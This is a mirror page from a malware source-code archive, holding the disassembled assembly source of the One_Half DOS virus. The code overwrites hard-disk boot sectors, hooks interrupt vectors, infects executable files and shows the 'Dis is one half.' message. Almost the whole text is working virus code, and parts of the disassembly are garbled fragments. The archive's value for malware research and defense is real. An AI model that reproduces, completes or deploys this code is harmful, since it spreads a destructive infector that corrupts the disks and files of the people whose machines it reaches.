mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
2164 lines
81 KiB
NASM
2164 lines
81 KiB
NASM
|
|
PAGE 59,132
|
|
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ ONE_HALF ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛ Created: 19-Oct-94 ÛÛ
|
|
;ÛÛ Passes: 5 Analysis Options on: none ÛÛ
|
|
;ÛÛ ÛÛ
|
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
|
|
|
target EQU 'M5' ; Target assembler: MASM-5.1
|
|
|
|
;include srmacros.inc
|
|
|
|
|
|
; The following equates show data references outside the range of the program.
|
|
|
|
data_1e equ 2Ch
|
|
data_2e equ 70h
|
|
data_3e equ 72h
|
|
data_4e equ 84h
|
|
data_6e equ 100h
|
|
data_7e equ 2A0h
|
|
data_8e equ 2A2h
|
|
data_9e equ 2A9h
|
|
data_10e equ 2ADh
|
|
data_11e equ 2B8h
|
|
main_ram_size_ equ 413h
|
|
timer_low_ equ 46Ch
|
|
data_12e equ 56Ah ;*
|
|
data_13e equ 600h ;*
|
|
data_14e equ 7BEh ;*
|
|
data_15e equ 7D1h ;*
|
|
data_16e equ 0BABh ;*
|
|
data_17e equ 0DD6h ;*
|
|
data_18e equ 0 ;*
|
|
data_19e equ 3 ;*
|
|
data_20e equ 0
|
|
data_21e equ 1
|
|
data_22e equ 3
|
|
data_23e equ 10h
|
|
data_24e equ 12h
|
|
data_25e equ 16h
|
|
data_26e equ 1Ah
|
|
data_27e equ 22h
|
|
data_28e equ 24h
|
|
data_29e equ 26h
|
|
data_30e equ 2Ah
|
|
data_31e equ 34h
|
|
data_32e equ 3Ch
|
|
data_33e equ 3Eh
|
|
data_34e equ 40h
|
|
data_35e equ 4Ch
|
|
data_37e equ 70h
|
|
data_39e equ 86h
|
|
data_40e equ 0A4h
|
|
data_41e equ 0A6h
|
|
data_42e equ 0A8h
|
|
data_43e equ 0AAh
|
|
data_44e equ 0C6h
|
|
data_45e equ 0F8h
|
|
data_46e equ 0FFh
|
|
data_105e equ 0F35h ;*
|
|
data_107e equ 0F39h ;*
|
|
data_108e equ 0F55h ;*
|
|
data_109e equ 0F5Fh ;*
|
|
data_111e equ 0F63h ;*
|
|
data_112e equ 0F65h ;*
|
|
data_113e equ 0F67h ;*
|
|
data_114e equ 0FB4h ;*
|
|
data_115e equ 1007h ;*
|
|
data_116e equ 1701h ;*
|
|
data_117e equ 1B00h ;*
|
|
data_118e equ 4E01h ;*
|
|
data_119e equ 7C00h ;*
|
|
data_120e equ 0BC61h ;*
|
|
data_121e equ 0C400h ;*
|
|
data_122e equ 0DE8h
|
|
data_123e equ 0DEAh
|
|
data_124e equ 0
|
|
|
|
seg_a segment byte public
|
|
assume cs:seg_a, ds:seg_a
|
|
|
|
|
|
org 100h
|
|
|
|
one_half proc far
|
|
|
|
start:
|
|
pop dx
|
|
add ds:data_46e[bx],bx
|
|
add [bx+si],al
|
|
add [bp+di+4Fh],al
|
|
dec bp
|
|
dec bp
|
|
inc cx
|
|
dec si
|
|
inc sp
|
|
add [di+5Ah],cl
|
|
mov [bx+si],ax
|
|
adc al,[bx+si]
|
|
add [bx+si],al
|
|
add al,[bx+si]
|
|
jnz loc_4 ; Jump if not zero
|
|
db 0FFh,0FFh, 76h
|
|
loc_4:
|
|
add si,ax
|
|
add al,[bx+di]
|
|
add [bx+si],al
|
|
add [bx+si],cl
|
|
add bl,ds:data_121e
|
|
add bp,ss:data_118e[bp+di]
|
|
add al,2Fh ; '/'
|
|
add ss:data_117e[bp+si],bl
|
|
add cl,ds:data_116e[bx]
|
|
add si,si
|
|
add cl,dl
|
|
add ss:data_115e[bp+si],si
|
|
jmp short $-42h
|
|
;* No entry point to code
|
|
call sub_2
|
|
mov cx,1004h
|
|
jnc $+5Ah ; Jump if carry=0
|
|
pop bx
|
|
pop cx
|
|
pop dx
|
|
dec cx
|
|
test al,1Dh
|
|
mov cx,698Eh
|
|
clc ; Clear carry flag
|
|
push cx
|
|
loc_6:
|
|
mov cl,4
|
|
shr ax,cl ; Shift w/zeros fill
|
|
mov cx,es
|
|
add cx,ax
|
|
push es
|
|
inc sp
|
|
lds dx,dword ptr [bx+si] ; Load 32 bit ptr
|
|
or [bx+si],al
|
|
loc_7:
|
|
db 60h, 5Ch,0BAh, 0Fh,0F4h,0FFh
|
|
db 3Fh,0EAh, 2Eh, 03h, 01h, 9Ch
|
|
db 2Eh, 0Bh, 07h, 91h
|
|
|
|
locloop_8:
|
|
movsw ; Mov [si] to es:[di]
|
|
movsw ; Mov [si] to es:[di]
|
|
sub si,4
|
|
loop locloop_8 ; Loop if cx > 0
|
|
|
|
or word ptr [bp+di],0FFDBh
|
|
jnz loc_6 ; Jump if not zero
|
|
cld ; Clear direction
|
|
push es
|
|
loc_10:
|
|
pop ds
|
|
lea si,[di+2] ; Load effective addr
|
|
;* jz loc_9 ;*Jump if zero
|
|
db 74h,0F4h ; Fixup - byte match
|
|
jc loc_10 ; Jump if carry Set
|
|
add bp,bp
|
|
dec dx
|
|
jz loc_7 ; Jump if zero
|
|
;* jc loc_5 ;*Jump if carry Set
|
|
db 72h, 95h ; Fixup - byte match
|
|
mov dl,10h
|
|
jmp short loc_11
|
|
;* No entry point to code
|
|
lodsw ; String [si] to ax
|
|
xchg bp,ax
|
|
mov dl,10h
|
|
;* jmp short loc_13 ;*
|
|
db 0EBh, 75h ; Fixup - byte match
|
|
;* No entry point to code
|
|
add al,0F3h
|
|
stosw ; Store ax to es:[di]
|
|
;* jmp short loc_12 ;*
|
|
db 0EBh, 2Ah ; Fixup - byte match
|
|
;* No entry point to code
|
|
stosb ; Store al to es:[di]
|
|
xchg al,ah
|
|
dec cx
|
|
adc [bx+si],al
|
|
|
|
one_half endp
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_2 proc near
|
|
push ds
|
|
add [bx+si],al
|
|
add dh,[bp+di]
|
|
db 0DBh,0FAh,0BCh, 00h, 7Ch, 8Eh
|
|
db 0D3h,0FBh, 8Eh,0DBh, 83h, 2Eh
|
|
db 13h, 04h, 04h
|
|
loc_11:
|
|
mov cl,6
|
|
int 12h ; Put (memory size)/1K in ax
|
|
shl ax,cl ; Shift w/zeros fill
|
|
mov dx,80h
|
|
mov es,ax
|
|
mov cx,0Bh
|
|
mov ax,207h
|
|
push es
|
|
int 13h ; Disk dl=drive 0 ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
mov ax,0D3h
|
|
push ax
|
|
retf
|
|
sub_2 endp
|
|
|
|
;* No entry point to code
|
|
mov ds:data_39e,cs
|
|
mov ax,word ptr ds:[46Ch]
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
mov word ptr ds:[56Ah],ax
|
|
mov ax,cs
|
|
inc ax
|
|
mov ds:data_21e,ax
|
|
mov byte ptr ds:[0CEBh],0
|
|
call sub_3
|
|
pop es
|
|
mov bx,sp
|
|
push es
|
|
mov si,es:[bx+29h]
|
|
;* cmp si,7
|
|
db 81h,0FEh, 07h, 00h ; Fixup - byte match
|
|
jbe loc_19 ; Jump if below or =
|
|
push si
|
|
sub si,2
|
|
mov word ptr ds:[140h],si
|
|
pop si
|
|
mov ah,8
|
|
int 13h ; Disk dl=drive a ah=func 08h
|
|
; get drive parameters, bl=type
|
|
; cx=cylinders, dh=max heads
|
|
; es:di= ptr to drive table
|
|
jc loc_19 ; Jump if carry Set
|
|
mov al,cl
|
|
and al,3Fh ; '?'
|
|
mov byte ptr ds:[0E2Dh],al
|
|
mov cl,1
|
|
mov bh,7Eh ; '~'
|
|
mov word ptr ds:[0E2Fh],bx
|
|
mov dl,80h
|
|
loc_14:
|
|
dec si
|
|
call sub_4
|
|
push dx
|
|
loc_15:
|
|
mov ah,2
|
|
push ax
|
|
int 13h ; Disk dl=drive 0 ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
pop ax
|
|
jc loc_16 ; Jump if carry Set
|
|
call $+0D00h
|
|
inc ah
|
|
push ax
|
|
int 13h ; Disk dl=drive 0 ah=func 03h
|
|
; write sectors from mem es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
pop ax
|
|
loc_16:
|
|
jc loc_21 ; Jump if carry Set
|
|
test dh,3Fh ; '?'
|
|
jz loc_17 ; Jump if zero
|
|
dec dh
|
|
jmp short loc_15
|
|
loc_17:
|
|
pop dx
|
|
cmp si,3A7h
|
|
ja loc_14 ; Jump if above
|
|
loc_18:
|
|
mov bh,7Ch ; '|'
|
|
mov es:[bx+29h],si
|
|
mov ax,301h
|
|
mov cx,1
|
|
mov dh,ch
|
|
int 13h ; Disk dl=drive 0 ah=func 03h
|
|
; write sectors from mem es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
loc_19:
|
|
mov word ptr ds:[0EEEh],si
|
|
cmp si,19Ch
|
|
ja loc_20 ; Jump if above
|
|
call sub_5
|
|
loc_20:
|
|
mov ax,201h
|
|
mov bx,data_119e
|
|
mov cx,ds:data_44e
|
|
dec cx
|
|
mov dx,80h
|
|
int 13h ; Disk dl=drive 0 ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
cli ; Disable interrupts
|
|
les ax,dword ptr es:data_35e ; Load 32 bit ptr
|
|
mov ds:data_105e,ax
|
|
mov word ptr ds:data_105e+2,es
|
|
pop es
|
|
push es
|
|
les ax,dword ptr es:data_37e ; Load 32 bit ptr
|
|
mov word ptr ds:[205h],ax
|
|
mov word ptr ds:[207h],es
|
|
pop es
|
|
push es
|
|
mov word ptr es:data_35e,0E45h
|
|
mov word ptr es:data_35e+2,cs
|
|
mov word ptr es:data_37e,1D1h
|
|
mov word ptr es:data_37e+2,cs
|
|
sti ; Enable interrupts
|
|
push bx
|
|
retf ; Return far
|
|
loc_21:
|
|
xor ah,ah ; Zero register
|
|
push ax
|
|
int 13h ; Disk dl=drive a ah=func 00h
|
|
; reset disk, al=return status
|
|
pop ax
|
|
loc_22:
|
|
inc dh
|
|
mov ah,dh
|
|
pop dx
|
|
push dx
|
|
cmp ah,dh
|
|
ja loc_23 ; Jump if above
|
|
mov dh,ah
|
|
mov ah,2
|
|
push ax
|
|
int 13h ; Disk dl=drive a ah=func 02h
|
|
; read sectors to memory es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
pop ax
|
|
call $+0C68h
|
|
inc ah
|
|
push ax
|
|
int 13h ; Disk dl=drive a ah=func 03h
|
|
; write sectors from mem es:bx
|
|
; al=#,ch=cyl,cl=sectr,dh=head
|
|
pop ax
|
|
jmp short loc_22
|
|
loc_23:
|
|
pop dx
|
|
inc si
|
|
jmp loc_18
|
|
;* No entry point to code
|
|
push ax
|
|
push ds
|
|
push es
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
les ax,dword ptr ds:data_4e ; Load 32 bit ptr
|
|
mov word ptr cs:[0DE8h],ax
|
|
mov ax,es
|
|
cmp ax,800h
|
|
ja loc_24 ; Jump if above
|
|
mov word ptr cs:[0DEAh],ax
|
|
les ax,dword ptr cs:[205h] ; Load 32 bit ptr
|
|
mov ds:data_2e,ax
|
|
mov ds:data_3e,es
|
|
mov word ptr ds:data_4e,0C5Dh
|
|
mov word ptr ds:data_4e+2,cs
|
|
loc_24:
|
|
pop es
|
|
pop ds
|
|
pop ax
|
|
;* jmp far ptr loc_158 ;*
|
|
db 0EAh
|
|
dw 0FF53h, 0F000h ; Fixup - byte match
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_3 proc near
|
|
mov si,772h
|
|
mov di,0DD8h
|
|
mov cx,15Dh
|
|
cld ; Clear direction
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
retn
|
|
sub_3 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_4 proc near
|
|
push ax
|
|
mov ax,si
|
|
mov ch,al
|
|
push cx
|
|
mov cl,4
|
|
shl ah,cl ; Shift w/zeros fill
|
|
pop cx
|
|
mov al,3Fh ; '?'
|
|
and dh,al
|
|
and cl,al
|
|
not al
|
|
push ax
|
|
and ah,al
|
|
or dh,ah
|
|
pop ax
|
|
shl ah,1 ; Shift w/zeros fill
|
|
shl ah,1 ; Shift w/zeros fill
|
|
and ah,al
|
|
or cl,ah
|
|
pop ax
|
|
retn
|
|
sub_4 endp
|
|
|
|
db 'Dis is one half.', 0Dh, 0Ah, 'Pr'
|
|
db 'ess any key to continue ...', 0Dh
|
|
db 0Ah
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_5 proc near
|
|
mov ah,4
|
|
int 1Ah ; Real time clock ah=func 04h
|
|
; get date cx=year, dx=mon/day
|
|
jc loc_ret_26 ; Jump if carry Set
|
|
test dl,3
|
|
jnz loc_ret_26 ; Jump if not zero
|
|
test word ptr ds:[0DD6h],1
|
|
jnz loc_ret_26 ; Jump if not zero
|
|
mov cx,31h
|
|
mov si,239h
|
|
mov ah,0Fh
|
|
int 10h ; Video display ah=functn 0Fh
|
|
; get state, al=mode, bh=page
|
|
; ah=columns on screen
|
|
mov bl,7
|
|
mov ah,0Eh
|
|
|
|
locloop_25:
|
|
lodsb ; String [si] to al
|
|
int 10h ; Video display ah=functn 0Eh
|
|
; write char al, teletype mode
|
|
loop locloop_25 ; Loop if cx > 0
|
|
|
|
xor ah,ah ; Zero register
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
|
|
loc_ret_26:
|
|
retn
|
|
sub_5 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
push bx
|
|
mov bx,0
|
|
int 21h ; DOS Services ah=function 42h
|
|
; move file ptr, bx=file handle
|
|
; al=method, cx,dx=offset
|
|
pop bx
|
|
retn
|
|
sub_6 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_7 proc near
|
|
pushf ; Push flags
|
|
cli ; Disable interrupts
|
|
;* call far ptr sub_1 ;*
|
|
db 9Ah
|
|
dw 774h, 70h ; Fixup - byte match
|
|
retn
|
|
sub_7 endp
|
|
|
|
;* No entry point to code
|
|
push bp
|
|
mov bp,sp
|
|
jmp short loc_27
|
|
;* No entry point to code
|
|
cmp word ptr [bp+4],253h
|
|
ja loc_28 ; Jump if above
|
|
push ax
|
|
push bx
|
|
push ds
|
|
lds ax,dword ptr [bp+2] ; Load 32 bit ptr
|
|
mov bx,469h
|
|
mov word ptr cs:[2A0h][bx],ax
|
|
mov word ptr cs:[2A2h][bx],ds
|
|
mov byte ptr cs:[2A9h][bx],23h ; '#'
|
|
pop ds
|
|
pop bx
|
|
pop ax
|
|
loc_27:
|
|
and byte ptr [bp+7],0FEh
|
|
loc_28:
|
|
pop bp
|
|
iret ; Interrupt return
|
|
loc_29:
|
|
pop bx
|
|
pop ax
|
|
push ax
|
|
dec ax
|
|
mov ds,ax
|
|
cmp byte ptr ds:data_124e,5Ah ; 'Z'
|
|
jne loc_31 ; Jump if not equal
|
|
add ax,ds:data_22e
|
|
sub ax,0FFh
|
|
mov dx,cs
|
|
mov si,bx
|
|
mov cl,4
|
|
shr si,cl ; Shift w/zeros fill
|
|
add dx,si
|
|
mov si,cs:data_26e[bx]
|
|
cmp si,106h
|
|
jae loc_30 ; Jump if above or =
|
|
mov si,106h
|
|
loc_30:
|
|
add dx,si
|
|
cmp ax,dx
|
|
jb loc_31 ; Jump if below
|
|
mov byte ptr ds:data_20e,4Dh ; 'M'
|
|
sub word ptr ds:data_22e,100h
|
|
mov ds:data_24e,ax
|
|
mov es,ax
|
|
push cs
|
|
pop ds
|
|
inc ax
|
|
mov ds:data_21e,ax
|
|
mov byte ptr ds:[0BABh][bx],0EBh
|
|
mov si,bx
|
|
xor di,di ; Zero register
|
|
mov cx,0DD8h
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
push es
|
|
pop ds
|
|
call sub_3
|
|
xor ax,ax ; Zero register
|
|
mov ds,ax
|
|
cli ; Disable interrupts
|
|
mov ax,ds:data_4e
|
|
mov es:data_122e,ax
|
|
mov ax,word ptr ds:data_4e+2
|
|
mov es:data_123e,ax
|
|
mov word ptr ds:data_4e,0C5Dh
|
|
mov word ptr ds:data_4e+2,es
|
|
sti ; Enable interrupts
|
|
loc_31:
|
|
jmp loc_39
|
|
db 0E8h, 00h, 00h
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_8 proc near
|
|
pop si
|
|
sub si,352h
|
|
mov ds:data_11e[si],si
|
|
push es
|
|
push si
|
|
cld ; Clear direction
|
|
inc word ptr ds:data_17e[si]
|
|
mov byte ptr ds:data_16e[si],74h ; 't'
|
|
xor ax,ax ; Zero register
|
|
mov es,ax
|
|
mov ax,es:timer_low_
|
|
mov ds:data_12e[si],ax
|
|
mov ds:data_15e[si],ax
|
|
mov ax,4B53h
|
|
int 21h ; ??INT Non-standard interrupt
|
|
int 3 ; Debug breakpoint
|
|
dec bx
|
|
inc bp
|
|
jz loc_32 ; Jump if zero
|
|
mov ah,52h
|
|
int 21h ; DOS Services ah=function 52h
|
|
; get DOS data table ptr es:bx
|
|
;* undocumented function
|
|
mov ax,es:[bx-2]
|
|
mov ds:data_10e[si],ax
|
|
mov byte ptr ds:data_9e[si],0
|
|
mov ax,3501h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
push bx
|
|
push es
|
|
mov ax,3513h
|
|
int 21h ; DOS Services ah=function 35h
|
|
; get intrpt vector al in es:bx
|
|
mov ds:data_7e[si],bx
|
|
mov ds:data_8e[si],es
|
|
mov ax,2501h
|
|
;* lea dx,loc_1[si] ;*Load effective addr
|
|
db 8Dh, 94h,0A5h, 02h ; Fixup - byte match
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
lea bx,cs:[0DD8h][si] ; Load effective addr
|
|
mov cx,1
|
|
mov dx,80h
|
|
push cs
|
|
pop es
|
|
pushf ; Push flags
|
|
pop ax
|
|
or ah,1
|
|
push ax
|
|
popf ; Pop flags
|
|
mov ax,201h
|
|
call sub_7
|
|
pushf ; Push flags
|
|
pop ax
|
|
and ah,0FEh
|
|
push ax
|
|
popf ; Pop flags
|
|
pop ds
|
|
pop dx
|
|
pushf ; Push flags
|
|
mov ax,2501h
|
|
int 21h ; DOS Services ah=function 25h
|
|
; set intrpt vector al to ds:dx
|
|
popf ; Pop flags
|
|
jc loc_36 ; Jump if carry Set
|
|
push cs
|
|
pop ds
|
|
cmp word ptr [bx+25h],0D3h
|
|
jne loc_33 ; Jump if not equal
|
|
loc_32:
|
|
jmp loc_38
|
|
loc_33:
|
|
cmp word ptr ds:[180h][bx],72Eh
|
|
je loc_36 ; Jump if equal
|
|
mov ah,8
|
|
mov dl,80h
|
|
call sub_7
|
|
jc loc_36 ; Jump if carry Set
|
|
and cx,3Fh
|
|
mov byte ptr ds:[814h][si],cl
|
|
mov byte ptr ds:[89Eh][si],cl
|
|
and dh,3Fh ; '?'
|
|
mov byte ptr ds:[8A7h][si],dh
|
|
mov ax,301h
|
|
sub cl,7
|
|
mov byte ptr ds:[819h][si],cl
|
|
mov dx,80h
|
|
call sub_7
|
|
jc loc_36 ; Jump if carry Set
|
|
push cx
|
|
push dx
|
|
push si
|
|
xchg di,si
|
|
mov cx,4
|
|
add bx,1EEh
|
|
|
|
locloop_34:
|
|
mov al,[bx+4]
|
|
cmp al,1
|
|
je loc_37 ; Jump if equal
|
|
cmp al,4
|
|
jb loc_35 ; Jump if below
|
|
cmp al,6
|
|
jbe loc_37 ; Jump if below or =
|
|
loc_35:
|
|
sub bx,10h
|
|
loop locloop_34 ; Loop if cx > 0
|
|
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
loc_36:
|
|
jmp loc_29
|
|
loc_37:
|
|
mov cx,[bx+2]
|
|
mov dh,[bx+1]
|
|
call sub_16
|
|
add si,7
|
|
mov ds:data_45e[di],si
|
|
xchg si,ax
|
|
mov cx,[bx+6]
|
|
mov dh,[bx+1]
|
|
call sub_16
|
|
mov word ptr ds:[882h][di],si
|
|
mov word ptr ds:[48Ch][di],si
|
|
add ax,si
|
|
shr ax,1 ; Shift w/zeros fill
|
|
mov word ptr ds:[15Ah][di],ax
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
mov ax,307h
|
|
xchg bx,si
|
|
inc cx
|
|
mov ds:data_44e[bx],cx
|
|
call sub_7
|
|
jc loc_36 ; Jump if carry Set
|
|
lea si,ds:data_43e[bx] ; Load effective addr
|
|
lea di,ds:[0DD8h][bx] ; Load effective addr
|
|
push di
|
|
mov cx,29h
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
mov ax,332h
|
|
stosw ; Store ax to es:[di]
|
|
mov ax,301h
|
|
pop bx
|
|
mov cx,1
|
|
call sub_7
|
|
jc loc_36 ; Jump if carry Set
|
|
loc_38:
|
|
pop bx
|
|
loc_39:
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
lea si,ds:data_34e[bx] ; Load effective addr
|
|
;* add bx,data_30e
|
|
db 81h,0C3h, 2Ah, 00h ; Fixup - byte match
|
|
mov cx,0Ah
|
|
|
|
locloop_40:
|
|
mov di,[bx]
|
|
push cx
|
|
mov cx,0Ah
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
pop cx
|
|
inc bx
|
|
inc bx
|
|
loop locloop_40 ; Loop if cx > 0
|
|
|
|
pop es
|
|
add bx,0FFD2h
|
|
mov di,es
|
|
add di,10h
|
|
add [bx+16h],di
|
|
add [bx+0Eh],di
|
|
cmp word ptr [bx+6],0
|
|
je loc_45 ; Jump if equal
|
|
mov ds,es:data_1e
|
|
xor si,si ; Zero register
|
|
loc_41:
|
|
inc si
|
|
cmp word ptr [si],0
|
|
jne loc_41 ; Jump if not equal
|
|
add si,4
|
|
xchg dx,si
|
|
mov ax,3D00h
|
|
int 21h ; DOS Services ah=function 3Dh
|
|
; open file, al=mode,name@ds:dx
|
|
jc loc_48 ; Jump if carry Set
|
|
push cs
|
|
pop ds
|
|
mov word ptr ds:[287h][bx],ax
|
|
mov dx,[bx+18h]
|
|
mov ax,4200h
|
|
call sub_6
|
|
push es
|
|
xchg di,ax
|
|
loc_42:
|
|
push ax
|
|
lea dx,cs:[54Dh][bx] ; Load effective addr
|
|
mov cx,[bx+6]
|
|
cmp cx,29Eh
|
|
jb loc_43 ; Jump if below
|
|
mov cx,29Eh
|
|
loc_43:
|
|
sub [bx+6],cx
|
|
push cx
|
|
shl cx,1 ; Shift w/zeros fill
|
|
shl cx,1 ; Shift w/zeros fill
|
|
mov ah,3Fh ; '?'
|
|
call sub_6
|
|
jc loc_48 ; Jump if carry Set
|
|
pop cx
|
|
pop ax
|
|
xchg si,dx
|
|
|
|
locloop_44:
|
|
add [si+2],ax
|
|
les di,dword ptr [si] ; Load 32 bit ptr
|
|
add es:[di],ax
|
|
add si,4
|
|
loop locloop_44 ; Loop if cx > 0
|
|
|
|
cmp word ptr [bx+6],0
|
|
ja loc_42 ; Jump if above
|
|
pop es
|
|
mov ah,3Eh ; '>'
|
|
call sub_6
|
|
loc_45:
|
|
push es
|
|
pop ds
|
|
cmp byte ptr cs:[bx+12h],0
|
|
jne loc_46 ; Jump if not equal
|
|
mov si,bx
|
|
mov di,data_6e
|
|
mov cx,3
|
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
|
pop ax
|
|
jmp short loc_47
|
|
loc_46:
|
|
pop ax
|
|
cli ; Disable interrupts
|
|
mov sp,cs:[bx+10h]
|
|
mov ss,cs:[bx+0Eh]
|
|
sti ; Enable interrupts
|
|
loc_47:
|
|
jmp dword ptr cs:[bx+14h] ;*
|
|
loc_48:
|
|
mov ah,4Ch
|
|
int 21h ; DOS Services ah=function 4Ch
|
|
; terminate with al=return code
|
|
|
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
|
|
sub_9:
|
|
mov word ptr cs:[5A8h],si
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
mov cx,1624h
|
|
mov bx,2B28h
|
|
mov dx,15Ah
|
|
mov ax,4E35h
|
|
xchg si,ax
|
|
xchg dx,ax
|
|
test ax,ax
|
|
jz loc_49 ; Jump if zero
|
|
mul bx ; dx:ax = reg * ax
|
|
loc_49:
|
|
jcxz loc_50 ; Jump if cx=0
|
|
xchg cx,ax
|
|
mul si ; dx:ax = reg * ax
|
|
add ax,cx
|
|
loc_50:
|
|
xchg si,ax
|
|
mul bx ; dx:ax = reg * ax
|
|
add dx,si
|
|
inc ax
|
|
adc dx,0
|
|
mov word ptr cs:[56Ah],ax
|
|
mov word ptr cs:[567h],dx
|
|
mov ax,dx
|
|
pop cx
|
|
xor dx,dx ; Zero register
|
|
jcxz loc_51 ; Jump if cx=0
|
|
div cx ; ax,dx rem=dx:ax/reg
|
|
loc_51:
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
pop si
|
|
push si
|
|
cmp byte ptr cs:[si],0CCh
|
|
loc_52:
|
|
je loc_52 ; Jump if equal
|
|
mov si,5CBh
|
|
retn
|
|
sub_8 endp
|
|
|
|
;* No entry point to code
|
|
add [bx+si+1],dx
|
|
push ss
|
|
add [bx],bx
|
|
add di,word ptr ds:[469h][bx]
|
|
add di,ds:data_120e[bx+si]
|
|
add dh,[bx+di]
|
|
add ax,8104h
|
|
db 0C0h
|
|
data_76 dw 0CAABh
|
|
db 01h, 47h, 04h, 81h,0FFh, 41h
|
|
db 12h, 02h, 75h,0EFh, 90h,0F9h
|
|
db 0F8h,0FBh, 2Eh, 36h, 3Eh,0FCh
|
|
db 0FDh,0F5h
|
|
|
|
